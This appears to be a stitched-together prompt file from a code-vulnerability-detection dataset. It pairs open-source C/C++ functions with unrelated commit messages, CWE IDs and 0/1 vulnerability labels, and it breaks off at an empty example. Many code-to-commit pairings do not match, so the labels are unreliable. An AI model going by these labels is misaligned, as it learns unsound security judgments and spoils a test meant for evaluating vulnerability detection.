Commit Message: Sched: fix skip_clock_update optimization
idle_balance() drops/retakes rq->lock, leaving the previous task
vulnerable to set_tsk_need_resched(). Clear it after we return
from balancing instead, and in setup_thread_stack() as well, so
no successfully descheduled or never scheduled task has it set.
Need resched confused the skip_clock_update logic, which assumes
that the next call to update_rq_clock() will come nearly immediately
after being set. Make the optimization robust against the waking
a sleeper before it sucessfully deschedules case by checking that
the current task has not been dequeued before setting the flag,
since it is that useless clock update we're trying to save, and
clear unconditionally in schedule() proper instead of conditionally
in put_prev_task().
Signed-off-by: Mike Galbraith <[email protected]>
Reported-by: Bjoern B. Brandenburg <[email protected]>
Tested-by: Yong Zhang <[email protected]>
Signed-off-by: Peter Zijlstra <[email protected]>
Cc: [email protected]
LKML-Reference: <[email protected]>
Signed-off-by: Ingo Molnar <[email protected]>
CWE ID:
Target: 0
Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation.
Code: static void hugetlbfs_put_super(struct super_block *sb)
{
struct hugetlbfs_sb_info *sbi = HUGETLBFS_SB(sb);
if (sbi) {
sb->s_fs_info = NULL;
kfree(sbi);
}
}
Commit Message: hugepages: fix use after free bug in "quota" handling
hugetlbfs_{get,put}_quota() are badly named. They don't interact with the
general quota handling code, and they don't much resemble its behaviour.
Rather than being about maintaining limits on on-disk block usage by
particular users, they are instead about maintaining limits on in-memory
page usage (including anonymous MAP_PRIVATE copied-on-write pages)
associated with a particular hugetlbfs filesystem instance.
Worse, they work by having callbacks to the hugetlbfs filesystem code from
the low-level page handling code, in particular from free_huge_page().
This is a layering violation of itself, but more importantly, if the
kernel does a get_user_pages() on hugepages (which can happen from KVM
amongst others), then the free_huge_page() can be delayed until after the
associated inode has already been freed. If an unmount occurs at the
wrong time, even the hugetlbfs superblock where the "quota" limits are
stored may have been freed.
Andrew Barry proposed a patch to fix this by having hugepages, instead of
storing a pointer to their address_space and reaching the superblock from
there, had the hugepages store pointers directly to the superblock,
bumping the reference count as appropriate to avoid it being freed.
Andrew Morton rejected that version, however, on the grounds that it made
the existing layering violation worse.
This is a reworked version of Andrew's patch, which removes the extra, and
some of the existing, layering violation. It works by introducing the
concept of a hugepage "subpool" at the lower hugepage mm layer - that is a
finite logical pool of hugepages to allocate from. hugetlbfs now creates
a subpool for each filesystem instance with a page limit set, and a
pointer to the subpool gets added to each allocated hugepage, instead of
the address_space pointer used now. The subpool has its own lifetime and
is only freed once all pages in it _and_ all other references to it (i.e.
superblocks) are gone.
subpools are optional - a NULL subpool pointer is taken by the code to
mean that no subpool limits are in effect.
Previous discussion of this bug found in: "Fix refcounting in hugetlbfs
quota handling.". See: https://lkml.org/lkml/2011/8/11/28 or
http://marc.info/?l=linux-mm&m=126928970510627&w=1
v2: Fixed a bug spotted by Hillf Danton, and removed the extra parameter to
alloc_huge_page() - since it already takes the vma, it is not necessary.
Signed-off-by: Andrew Barry <[email protected]>
Signed-off-by: David Gibson <[email protected]>
Cc: Hugh Dickins <[email protected]>
Cc: Mel Gorman <[email protected]>
Cc: Minchan Kim <[email protected]>
Cc: Hillf Danton <[email protected]>
Cc: Paul Mackerras <[email protected]>
Signed-off-by: Andrew Morton <[email protected]>
Signed-off-by: Linus Torvalds <[email protected]>
CWE ID: CWE-399
Output: | 1 |
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code.
Example 1:
Code: void BrowserGpuChannelHostFactory::GpuChannelEstablishedOnIO(
EstablishRequest* request,
const IPC::ChannelHandle& channel_handle,
base::ProcessHandle gpu_process_handle,
const GPUInfo& gpu_info) {
request->channel_handle = channel_handle;
request->gpu_process_handle = gpu_process_handle;
request->gpu_info = gpu_info;
request->event.Signal();
}
Commit Message: Convert plugin and GPU process to brokered handle duplication.
BUG=119250
Review URL: https://chromiumcodereview.appspot.com/9958034
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@132303 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID:
Target: 1
Example 2:
Code: HB_Error HB_GPOS_Add_Feature( HB_GPOSHeader* gpos,
HB_UShort feature_index,
HB_UInt property )
{
HB_UShort i;
HB_Feature feature;
HB_UInt* properties;
HB_UShort* index;
HB_UShort lookup_count;
/* Each feature can only be added once */
if ( !gpos ||
feature_index >= gpos->FeatureList.FeatureCount ||
gpos->FeatureList.ApplyCount == gpos->FeatureList.FeatureCount )
return ERR(HB_Err_Invalid_Argument);
gpos->FeatureList.ApplyOrder[gpos->FeatureList.ApplyCount++] = feature_index;
properties = gpos->LookupList.Properties;
feature = gpos->FeatureList.FeatureRecord[feature_index].Feature;
index = feature.LookupListIndex;
lookup_count = gpos->LookupList.LookupCount;
for ( i = 0; i < feature.LookupListCount; i++ )
{
HB_UShort lookup_index = index[i];
if (lookup_index < lookup_count)
properties[lookup_index] |= property;
}
return HB_Err_Ok;
}
Commit Message:
CWE ID: CWE-119
Target: 0
Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation.
Code: void PageHandler::PrintToPDF(Maybe<bool> landscape,
Maybe<bool> display_header_footer,
Maybe<bool> print_background,
Maybe<double> scale,
Maybe<double> paper_width,
Maybe<double> paper_height,
Maybe<double> margin_top,
Maybe<double> margin_bottom,
Maybe<double> margin_left,
Maybe<double> margin_right,
Maybe<String> page_ranges,
Maybe<bool> ignore_invalid_page_ranges,
Maybe<String> header_template,
Maybe<String> footer_template,
std::unique_ptr<PrintToPDFCallback> callback) {
callback->sendFailure(Response::Error("PrintToPDF is not implemented"));
return;
}
Commit Message: DevTools: speculative fix for crash in NetworkHandler::Disable
This keeps BrowserContext* and StoragePartition* instead of
RenderProcessHost* in an attemp to resolve UAF of RenderProcessHost
upon closure of DevTools front-end.
Bug: 801117, 783067, 780694
Change-Id: I6c2cca60cc0c29f0949d189cf918769059f80c1b
Reviewed-on: https://chromium-review.googlesource.com/876657
Commit-Queue: Andrey Kosyakov <[email protected]>
Reviewed-by: Dmitry Gozman <[email protected]>
Cr-Commit-Position: refs/heads/master@{#531157}
CWE ID: CWE-20
Output: | 0 |
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code.
Example 1:
Code: xfs_attr_shortform_list(xfs_attr_list_context_t *context)
{
attrlist_cursor_kern_t *cursor;
xfs_attr_sf_sort_t *sbuf, *sbp;
xfs_attr_shortform_t *sf;
xfs_attr_sf_entry_t *sfe;
xfs_inode_t *dp;
int sbsize, nsbuf, count, i;
int error;
ASSERT(context != NULL);
dp = context->dp;
ASSERT(dp != NULL);
ASSERT(dp->i_afp != NULL);
sf = (xfs_attr_shortform_t *)dp->i_afp->if_u1.if_data;
ASSERT(sf != NULL);
if (!sf->hdr.count)
return 0;
cursor = context->cursor;
ASSERT(cursor != NULL);
trace_xfs_attr_list_sf(context);
/*
* If the buffer is large enough and the cursor is at the start,
* do not bother with sorting since we will return everything in
* one buffer and another call using the cursor won't need to be
* made.
* Note the generous fudge factor of 16 overhead bytes per entry.
* If bufsize is zero then put_listent must be a search function
* and can just scan through what we have.
*/
if (context->bufsize == 0 ||
(XFS_ISRESET_CURSOR(cursor) &&
(dp->i_afp->if_bytes + sf->hdr.count * 16) < context->bufsize)) {
for (i = 0, sfe = &sf->list[0]; i < sf->hdr.count; i++) {
error = context->put_listent(context,
sfe->flags,
sfe->nameval,
(int)sfe->namelen,
(int)sfe->valuelen,
&sfe->nameval[sfe->namelen]);
/*
* Either search callback finished early or
* didn't fit it all in the buffer after all.
*/
if (context->seen_enough)
break;
if (error)
return error;
sfe = XFS_ATTR_SF_NEXTENTRY(sfe);
}
trace_xfs_attr_list_sf_all(context);
return 0;
}
/* do no more for a search callback */
if (context->bufsize == 0)
return 0;
/*
* It didn't all fit, so we have to sort everything on hashval.
*/
sbsize = sf->hdr.count * sizeof(*sbuf);
sbp = sbuf = kmem_alloc(sbsize, KM_SLEEP | KM_NOFS);
/*
* Scan the attribute list for the rest of the entries, storing
* the relevant info from only those that match into a buffer.
*/
nsbuf = 0;
for (i = 0, sfe = &sf->list[0]; i < sf->hdr.count; i++) {
if (unlikely(
((char *)sfe < (char *)sf) ||
((char *)sfe >= ((char *)sf + dp->i_afp->if_bytes)))) {
XFS_CORRUPTION_ERROR("xfs_attr_shortform_list",
XFS_ERRLEVEL_LOW,
context->dp->i_mount, sfe);
kmem_free(sbuf);
return -EFSCORRUPTED;
}
sbp->entno = i;
sbp->hash = xfs_da_hashname(sfe->nameval, sfe->namelen);
sbp->name = sfe->nameval;
sbp->namelen = sfe->namelen;
/* These are bytes, and both on-disk, don't endian-flip */
sbp->valuelen = sfe->valuelen;
sbp->flags = sfe->flags;
sfe = XFS_ATTR_SF_NEXTENTRY(sfe);
sbp++;
nsbuf++;
}
/*
* Sort the entries on hash then entno.
*/
xfs_sort(sbuf, nsbuf, sizeof(*sbuf), xfs_attr_shortform_compare);
/*
* Re-find our place IN THE SORTED LIST.
*/
count = 0;
cursor->initted = 1;
cursor->blkno = 0;
for (sbp = sbuf, i = 0; i < nsbuf; i++, sbp++) {
if (sbp->hash == cursor->hashval) {
if (cursor->offset == count) {
break;
}
count++;
} else if (sbp->hash > cursor->hashval) {
break;
}
}
if (i == nsbuf) {
kmem_free(sbuf);
return 0;
}
/*
* Loop putting entries into the user buffer.
*/
for ( ; i < nsbuf; i++, sbp++) {
if (cursor->hashval != sbp->hash) {
cursor->hashval = sbp->hash;
cursor->offset = 0;
}
error = context->put_listent(context,
sbp->flags,
sbp->name,
sbp->namelen,
sbp->valuelen,
&sbp->name[sbp->namelen]);
if (error)
return error;
if (context->seen_enough)
break;
cursor->offset++;
}
kmem_free(sbuf);
return 0;
}
Commit Message: xfs: fix two memory leaks in xfs_attr_list.c error paths
This plugs 2 trivial leaks in xfs_attr_shortform_list and
xfs_attr3_leaf_list_int.
Signed-off-by: Mateusz Guzik <[email protected]>
Cc: <[email protected]>
Reviewed-by: Eric Sandeen <[email protected]>
Signed-off-by: Dave Chinner <[email protected]>
CWE ID: CWE-400
Target: 1
Example 2:
Code: point_copy(Point *pt)
{
Point *result;
if (!PointerIsValid(pt))
return NULL;
result = (Point *) palloc(sizeof(Point));
result->x = pt->x;
result->y = pt->y;
return result;
}
Commit Message: Predict integer overflow to avoid buffer overruns.
Several functions, mostly type input functions, calculated an allocation
size such that the calculation wrapped to a small positive value when
arguments implied a sufficiently-large requirement. Writes past the end
of the inadvertent small allocation followed shortly thereafter.
Coverity identified the path_in() vulnerability; code inspection led to
the rest. In passing, add check_stack_depth() to prevent stack overflow
in related functions.
Back-patch to 8.4 (all supported versions). The non-comment hstore
changes touch code that did not exist in 8.4, so that part stops at 9.0.
Noah Misch and Heikki Linnakangas, reviewed by Tom Lane.
Security: CVE-2014-0064
CWE ID: CWE-189
Target: 0
Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation.
Code: gst_asf_demux_process_ext_content_desc (GstASFDemux * demux, guint8 * data,
guint64 size)
{
/* Other known (and unused) 'text/unicode' metadata available :
*
* WM/Lyrics =
* WM/MediaPrimaryClassID = {D1607DBC-E323-4BE2-86A1-48A42A28441E}
* WMFSDKVersion = 9.00.00.2980
* WMFSDKNeeded = 0.0.0.0000
* WM/UniqueFileIdentifier = AMGa_id=R 15334;AMGp_id=P 5149;AMGt_id=T 2324984
* WM/Publisher = 4AD
* WM/Provider = AMG
* WM/ProviderRating = 8
* WM/ProviderStyle = Rock (similar to WM/Genre)
* WM/GenreID (similar to WM/Genre)
* WM/TrackNumber (same as WM/Track but as a string)
*
* Other known (and unused) 'non-text' metadata available :
*
* WM/EncodingTime
* WM/MCDI
* IsVBR
*
* We might want to read WM/TrackNumber and use atoi() if we don't have
* WM/Track
*/
GstTagList *taglist;
guint16 blockcount, i;
gboolean content3D = FALSE;
struct
{
const gchar *interleave_name;
GstASF3DMode interleaving_type;
} stereoscopic_layout_map[] = {
{
"SideBySideRF", GST_ASF_3D_SIDE_BY_SIDE_HALF_RL}, {
"SideBySideLF", GST_ASF_3D_SIDE_BY_SIDE_HALF_LR}, {
"OverUnderRT", GST_ASF_3D_TOP_AND_BOTTOM_HALF_RL}, {
"OverUnderLT", GST_ASF_3D_TOP_AND_BOTTOM_HALF_LR}, {
"DualStream", GST_ASF_3D_DUAL_STREAM}
};
GST_INFO_OBJECT (demux, "object is an extended content description");
taglist = gst_tag_list_new_empty ();
/* Content Descriptor Count */
if (size < 2)
goto not_enough_data;
blockcount = gst_asf_demux_get_uint16 (&data, &size);
for (i = 1; i <= blockcount; ++i) {
const gchar *gst_tag_name;
guint16 datatype;
guint16 value_len;
guint16 name_len;
GValue tag_value = { 0, };
gsize in, out;
gchar *name;
gchar *name_utf8 = NULL;
gchar *value;
/* Descriptor */
if (!gst_asf_demux_get_string (&name, &name_len, &data, &size))
goto not_enough_data;
if (size < 2) {
g_free (name);
goto not_enough_data;
}
/* Descriptor Value Data Type */
datatype = gst_asf_demux_get_uint16 (&data, &size);
/* Descriptor Value (not really a string, but same thing reading-wise) */
if (!gst_asf_demux_get_string (&value, &value_len, &data, &size)) {
g_free (name);
goto not_enough_data;
}
name_utf8 =
g_convert (name, name_len, "UTF-8", "UTF-16LE", &in, &out, NULL);
if (name_utf8 != NULL) {
GST_DEBUG ("Found tag/metadata %s", name_utf8);
gst_tag_name = gst_asf_demux_get_gst_tag_from_tag_name (name_utf8);
GST_DEBUG ("gst_tag_name %s", GST_STR_NULL (gst_tag_name));
switch (datatype) {
case ASF_DEMUX_DATA_TYPE_UTF16LE_STRING:{
gchar *value_utf8;
value_utf8 = g_convert (value, value_len, "UTF-8", "UTF-16LE",
&in, &out, NULL);
/* get rid of tags with empty value */
if (value_utf8 != NULL && *value_utf8 != '\0') {
GST_DEBUG ("string value %s", value_utf8);
value_utf8[out] = '\0';
if (gst_tag_name != NULL) {
if (strcmp (gst_tag_name, GST_TAG_DATE_TIME) == 0) {
guint year = atoi (value_utf8);
if (year > 0) {
g_value_init (&tag_value, GST_TYPE_DATE_TIME);
g_value_take_boxed (&tag_value, gst_date_time_new_y (year));
}
} else if (strcmp (gst_tag_name, GST_TAG_GENRE) == 0) {
guint id3v1_genre_id;
const gchar *genre_str;
if (sscanf (value_utf8, "(%u)", &id3v1_genre_id) == 1 &&
((genre_str = gst_tag_id3_genre_get (id3v1_genre_id)))) {
GST_DEBUG ("Genre: %s -> %s", value_utf8, genre_str);
g_free (value_utf8);
value_utf8 = g_strdup (genre_str);
}
} else {
GType tag_type;
/* convert tag from string to other type if required */
tag_type = gst_tag_get_type (gst_tag_name);
g_value_init (&tag_value, tag_type);
if (!gst_value_deserialize (&tag_value, value_utf8)) {
GValue from_val = { 0, };
g_value_init (&from_val, G_TYPE_STRING);
g_value_set_string (&from_val, value_utf8);
if (!g_value_transform (&from_val, &tag_value)) {
GST_WARNING_OBJECT (demux,
"Could not transform string tag to " "%s tag type %s",
gst_tag_name, g_type_name (tag_type));
g_value_unset (&tag_value);
}
g_value_unset (&from_val);
}
}
} else {
/* metadata ! */
GST_DEBUG ("Setting metadata");
g_value_init (&tag_value, G_TYPE_STRING);
g_value_set_string (&tag_value, value_utf8);
/* If we found a stereoscopic marker, look for StereoscopicLayout
* metadata */
if (content3D) {
guint i;
if (strncmp ("StereoscopicLayout", name_utf8,
strlen (name_utf8)) == 0) {
for (i = 0; i < G_N_ELEMENTS (stereoscopic_layout_map); i++) {
if (g_str_equal (stereoscopic_layout_map[i].interleave_name,
value_utf8)) {
demux->asf_3D_mode =
stereoscopic_layout_map[i].interleaving_type;
GST_INFO ("find interleave type %u", demux->asf_3D_mode);
}
}
}
GST_INFO_OBJECT (demux, "3d type is %u", demux->asf_3D_mode);
} else {
demux->asf_3D_mode = GST_ASF_3D_NONE;
GST_INFO_OBJECT (demux, "None 3d type");
}
}
} else if (value_utf8 == NULL) {
GST_WARNING ("Failed to convert string value to UTF8, skipping");
} else {
GST_DEBUG ("Skipping empty string value for %s",
GST_STR_NULL (gst_tag_name));
}
g_free (value_utf8);
break;
}
case ASF_DEMUX_DATA_TYPE_BYTE_ARRAY:{
if (gst_tag_name) {
if (!g_str_equal (gst_tag_name, GST_TAG_IMAGE)) {
GST_FIXME ("Unhandled byte array tag %s",
GST_STR_NULL (gst_tag_name));
break;
} else {
asf_demux_parse_picture_tag (taglist, (guint8 *) value,
value_len);
}
}
break;
}
case ASF_DEMUX_DATA_TYPE_DWORD:{
guint uint_val = GST_READ_UINT32_LE (value);
/* this is the track number */
g_value_init (&tag_value, G_TYPE_UINT);
/* WM/Track counts from 0 */
if (!strcmp (name_utf8, "WM/Track"))
++uint_val;
g_value_set_uint (&tag_value, uint_val);
break;
}
/* Detect 3D */
case ASF_DEMUX_DATA_TYPE_BOOL:{
gboolean bool_val = GST_READ_UINT32_LE (value);
if (strncmp ("Stereoscopic", name_utf8, strlen (name_utf8)) == 0) {
if (bool_val) {
GST_INFO_OBJECT (demux, "This is 3D contents");
content3D = TRUE;
} else {
GST_INFO_OBJECT (demux, "This is not 3D contenst");
content3D = FALSE;
}
}
break;
}
default:{
GST_DEBUG ("Skipping tag %s of type %d", gst_tag_name, datatype);
break;
}
}
if (G_IS_VALUE (&tag_value)) {
if (gst_tag_name) {
GstTagMergeMode merge_mode = GST_TAG_MERGE_APPEND;
/* WM/TrackNumber is more reliable than WM/Track, since the latter
* is supposed to have a 0 base but is often wrongly written to start
* from 1 as well, so prefer WM/TrackNumber when we have it: either
* replace the value added earlier from WM/Track or put it first in
* the list, so that it will get picked up by _get_uint() */
if (strcmp (name_utf8, "WM/TrackNumber") == 0)
merge_mode = GST_TAG_MERGE_REPLACE;
gst_tag_list_add_values (taglist, merge_mode, gst_tag_name,
&tag_value, NULL);
} else {
GST_DEBUG ("Setting global metadata %s", name_utf8);
gst_structure_set_value (demux->global_metadata, name_utf8,
&tag_value);
}
g_value_unset (&tag_value);
}
}
g_free (name);
g_free (value);
g_free (name_utf8);
}
gst_asf_demux_add_global_tags (demux, taglist);
return GST_FLOW_OK;
/* Errors */
not_enough_data:
{
GST_WARNING ("Unexpected end of data parsing ext content desc object");
gst_tag_list_unref (taglist);
return GST_FLOW_OK; /* not really fatal */
}
}
Commit Message: asfdemux: Check that we have enough data available before parsing bool/uint extended content descriptors
https://bugzilla.gnome.org/show_bug.cgi?id=777955
CWE ID: CWE-125
Output: | 1 |
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code.
Example 1:
Code: static void request_key_auth_describe(const struct key *key,
struct seq_file *m)
{
struct request_key_auth *rka = key->payload.data[0];
seq_puts(m, "key:");
seq_puts(m, key->description);
if (key_is_instantiated(key))
seq_printf(m, " pid:%d ci:%zu", rka->pid, rka->callout_len);
}
Commit Message: KEYS: Fix race between updating and finding a negative key
Consolidate KEY_FLAG_INSTANTIATED, KEY_FLAG_NEGATIVE and the rejection
error into one field such that:
(1) The instantiation state can be modified/read atomically.
(2) The error can be accessed atomically with the state.
(3) The error isn't stored unioned with the payload pointers.
This deals with the problem that the state is spread over three different
objects (two bits and a separate variable) and reading or updating them
atomically isn't practical, given that not only can uninstantiated keys
change into instantiated or rejected keys, but rejected keys can also turn
into instantiated keys - and someone accessing the key might not be using
any locking.
The main side effect of this problem is that what was held in the payload
may change, depending on the state. For instance, you might observe the
key to be in the rejected state. You then read the cached error, but if
the key semaphore wasn't locked, the key might've become instantiated
between the two reads - and you might now have something in hand that isn't
actually an error code.
The state is now KEY_IS_UNINSTANTIATED, KEY_IS_POSITIVE or a negative error
code if the key is negatively instantiated. The key_is_instantiated()
function is replaced with key_is_positive() to avoid confusion as negative
keys are also 'instantiated'.
Additionally, barriering is included:
(1) Order payload-set before state-set during instantiation.
(2) Order state-read before payload-read when using the key.
Further separate barriering is necessary if RCU is being used to access the
payload content after reading the payload pointers.
Fixes: 146aa8b1453b ("KEYS: Merge the type-specific data with the payload data")
Cc: [email protected] # v4.4+
Reported-by: Eric Biggers <[email protected]>
Signed-off-by: David Howells <[email protected]>
Reviewed-by: Eric Biggers <[email protected]>
CWE ID: CWE-20
Target: 1
Example 2:
Code: static int read_disk_sb(struct md_rdev *rdev, int size)
{
char b[BDEVNAME_SIZE];
if (rdev->sb_loaded)
return 0;
if (!sync_page_io(rdev, 0, size, rdev->sb_page, READ, true))
goto fail;
rdev->sb_loaded = 1;
return 0;
fail:
printk(KERN_WARNING "md: disabled device %s, could not read superblock.\n",
bdevname(rdev->bdev,b));
return -EINVAL;
}
Commit Message: md: use kzalloc() when bitmap is disabled
In drivers/md/md.c get_bitmap_file() uses kmalloc() for creating a
mdu_bitmap_file_t called "file".
5769 file = kmalloc(sizeof(*file), GFP_NOIO);
5770 if (!file)
5771 return -ENOMEM;
This structure is copied to user space at the end of the function.
5786 if (err == 0 &&
5787 copy_to_user(arg, file, sizeof(*file)))
5788 err = -EFAULT
But if bitmap is disabled only the first byte of "file" is initialized
with zero, so it's possible to read some bytes (up to 4095) of kernel
space memory from user space. This is an information leak.
5775 /* bitmap disabled, zero the first byte and copy out */
5776 if (!mddev->bitmap_info.file)
5777 file->pathname[0] = '\0';
Signed-off-by: Benjamin Randazzo <[email protected]>
Signed-off-by: NeilBrown <[email protected]>
CWE ID: CWE-200
Target: 0
Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation.
Code: ~DetectedLanguage() {}
Commit Message: [Extensions] Expand bindings access checks
BUG=601149
BUG=601073
Review URL: https://codereview.chromium.org/1866103002
Cr-Commit-Position: refs/heads/master@{#387710}
CWE ID: CWE-284
Output: | 0 |
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code.
Example 1:
Code: int asn1_ex_c2i(ASN1_VALUE **pval, const unsigned char *cont, int len,
int utype, char *free_cont, const ASN1_ITEM *it)
{
ASN1_VALUE **opval = NULL;
ASN1_STRING *stmp;
ASN1_TYPE *typ = NULL;
int ret = 0;
const ASN1_PRIMITIVE_FUNCS *pf;
ASN1_INTEGER **tint;
pf = it->funcs;
if (pf && pf->prim_c2i)
return pf->prim_c2i(pval, cont, len, utype, free_cont, it);
/* If ANY type clear type and set pointer to internal value */
if (it->utype == V_ASN1_ANY) {
if (!*pval) {
typ = ASN1_TYPE_new();
if (typ == NULL)
goto err;
*pval = (ASN1_VALUE *)typ;
} else
typ = (ASN1_TYPE *)*pval;
if (utype != typ->type)
ASN1_TYPE_set(typ, utype, NULL);
opval = pval;
pval = &typ->value.asn1_value;
}
switch (utype) {
case V_ASN1_OBJECT:
if (!c2i_ASN1_OBJECT((ASN1_OBJECT **)pval, &cont, len))
goto err;
break;
case V_ASN1_NULL:
if (len) {
ASN1err(ASN1_F_ASN1_EX_C2I, ASN1_R_NULL_IS_WRONG_LENGTH);
goto err;
}
*pval = (ASN1_VALUE *)1;
break;
case V_ASN1_BOOLEAN:
if (len != 1) {
ASN1err(ASN1_F_ASN1_EX_C2I, ASN1_R_BOOLEAN_IS_WRONG_LENGTH);
goto err;
} else {
ASN1_BOOLEAN *tbool;
tbool = (ASN1_BOOLEAN *)pval;
*tbool = *cont;
}
break;
case V_ASN1_BIT_STRING:
if (!c2i_ASN1_BIT_STRING((ASN1_BIT_STRING **)pval, &cont, len))
goto err;
break;
case V_ASN1_INTEGER:
case V_ASN1_NEG_INTEGER:
case V_ASN1_ENUMERATED:
case V_ASN1_NEG_ENUMERATED:
tint = (ASN1_INTEGER **)pval;
if (!c2i_ASN1_INTEGER(tint, &cont, len))
goto err;
if (!c2i_ASN1_INTEGER(tint, &cont, len))
goto err;
/* Fixup type to match the expected form */
(*tint)->type = utype | ((*tint)->type & V_ASN1_NEG);
break;
case V_ASN1_OCTET_STRING:
case V_ASN1_NUMERICSTRING:
case V_ASN1_PRINTABLESTRING:
case V_ASN1_T61STRING:
case V_ASN1_VIDEOTEXSTRING:
case V_ASN1_IA5STRING:
case V_ASN1_UTCTIME:
case V_ASN1_GENERALIZEDTIME:
case V_ASN1_GRAPHICSTRING:
case V_ASN1_VISIBLESTRING:
case V_ASN1_GENERALSTRING:
case V_ASN1_UNIVERSALSTRING:
case V_ASN1_BMPSTRING:
case V_ASN1_UTF8STRING:
case V_ASN1_OTHER:
case V_ASN1_SET:
case V_ASN1_SEQUENCE:
default:
if (utype == V_ASN1_BMPSTRING && (len & 1)) {
ASN1err(ASN1_F_ASN1_EX_C2I, ASN1_R_BMPSTRING_IS_WRONG_LENGTH);
goto err;
}
if (utype == V_ASN1_UNIVERSALSTRING && (len & 3)) {
ASN1err(ASN1_F_ASN1_EX_C2I,
ASN1_R_UNIVERSALSTRING_IS_WRONG_LENGTH);
goto err;
}
/* All based on ASN1_STRING and handled the same */
if (!*pval) {
stmp = ASN1_STRING_type_new(utype);
if (!stmp) {
ASN1err(ASN1_F_ASN1_EX_C2I, ERR_R_MALLOC_FAILURE);
goto err;
}
*pval = (ASN1_VALUE *)stmp;
} else {
stmp = (ASN1_STRING *)*pval;
stmp->type = utype;
}
/* If we've already allocated a buffer use it */
if (*free_cont) {
if (stmp->data)
OPENSSL_free(stmp->data);
stmp->data = (unsigned char *)cont; /* UGLY CAST! RL */
stmp->length = len;
*free_cont = 0;
} else {
if (!ASN1_STRING_set(stmp, cont, len)) {
ASN1err(ASN1_F_ASN1_EX_C2I, ERR_R_MALLOC_FAILURE);
ASN1_STRING_free(stmp);
*pval = NULL;
goto err;
}
}
break;
}
/* If ASN1_ANY and NULL type fix up value */
if (typ && (utype == V_ASN1_NULL))
typ->value.ptr = NULL;
ret = 1;
err:
if (!ret) {
ASN1_TYPE_free(typ);
if (opval)
*opval = NULL;
}
return ret;
}
Commit Message:
CWE ID: CWE-119
Target: 1
Example 2:
Code: void region16_print(const REGION16* region)
{
const RECTANGLE_16* rects;
UINT32 nbRects, i;
int currentBandY = -1;
rects = region16_rects(region, &nbRects);
WLog_DBG(TAG, "nrects=%"PRIu32"", nbRects);
for (i = 0; i < nbRects; i++, rects++)
{
if (rects->top != currentBandY)
{
currentBandY = rects->top;
WLog_DBG(TAG, "band %d: ", currentBandY);
}
WLog_DBG(TAG, "(%"PRIu16",%"PRIu16"-%"PRIu16",%"PRIu16")", rects->left, rects->top, rects->right,
rects->bottom);
}
}
Commit Message: Fixed #5645: realloc return handling
CWE ID: CWE-772
Target: 0
Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation.
Code: void kvm_vcpu_mark_page_dirty(struct kvm_vcpu *vcpu, gfn_t gfn)
{
struct kvm_memory_slot *memslot;
memslot = kvm_vcpu_gfn_to_memslot(vcpu, gfn);
mark_page_dirty_in_slot(memslot, gfn);
}
Commit Message: KVM: use after free in kvm_ioctl_create_device()
We should move the ops->destroy(dev) after the list_del(&dev->vm_node)
so that we don't use "dev" after freeing it.
Fixes: a28ebea2adc4 ("KVM: Protect device ops->create and list_add with kvm->lock")
Signed-off-by: Dan Carpenter <[email protected]>
Reviewed-by: David Hildenbrand <[email protected]>
Signed-off-by: Radim Krčmář <[email protected]>
CWE ID: CWE-416
Output: | 0 |
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code.
Example 1:
Code: check_compat_entry_size_and_hooks(struct compat_arpt_entry *e,
struct xt_table_info *newinfo,
unsigned int *size,
const unsigned char *base,
const unsigned char *limit,
const unsigned int *hook_entries,
const unsigned int *underflows,
const char *name)
{
struct xt_entry_target *t;
struct xt_target *target;
unsigned int entry_offset;
int ret, off, h;
duprintf("check_compat_entry_size_and_hooks %p\n", e);
if ((unsigned long)e % __alignof__(struct compat_arpt_entry) != 0 ||
(unsigned char *)e + sizeof(struct compat_arpt_entry) >= limit) {
duprintf("Bad offset %p, limit = %p\n", e, limit);
return -EINVAL;
}
if (e->next_offset < sizeof(struct compat_arpt_entry) +
sizeof(struct compat_xt_entry_target)) {
duprintf("checking: element %p size %u\n",
e, e->next_offset);
return -EINVAL;
}
/* For purposes of check_entry casting the compat entry is fine */
ret = check_entry((struct arpt_entry *)e);
if (ret)
return ret;
off = sizeof(struct arpt_entry) - sizeof(struct compat_arpt_entry);
entry_offset = (void *)e - (void *)base;
t = compat_arpt_get_target(e);
target = xt_request_find_target(NFPROTO_ARP, t->u.user.name,
t->u.user.revision);
if (IS_ERR(target)) {
duprintf("check_compat_entry_size_and_hooks: `%s' not found\n",
t->u.user.name);
ret = PTR_ERR(target);
goto out;
}
t->u.kernel.target = target;
off += xt_compat_target_offset(target);
*size += off;
ret = xt_compat_add_offset(NFPROTO_ARP, entry_offset, off);
if (ret)
goto release_target;
/* Check hooks & underflows */
for (h = 0; h < NF_ARP_NUMHOOKS; h++) {
if ((unsigned char *)e - base == hook_entries[h])
newinfo->hook_entry[h] = hook_entries[h];
if ((unsigned char *)e - base == underflows[h])
newinfo->underflow[h] = underflows[h];
}
/* Clear counters and comefrom */
memset(&e->counters, 0, sizeof(e->counters));
e->comefrom = 0;
return 0;
release_target:
module_put(t->u.kernel.target->me);
out:
return ret;
}
Commit Message: netfilter: x_tables: make sure e->next_offset covers remaining blob size
Otherwise this function may read data beyond the ruleset blob.
Signed-off-by: Florian Westphal <[email protected]>
Signed-off-by: Pablo Neira Ayuso <[email protected]>
CWE ID: CWE-119
Target: 1
Example 2:
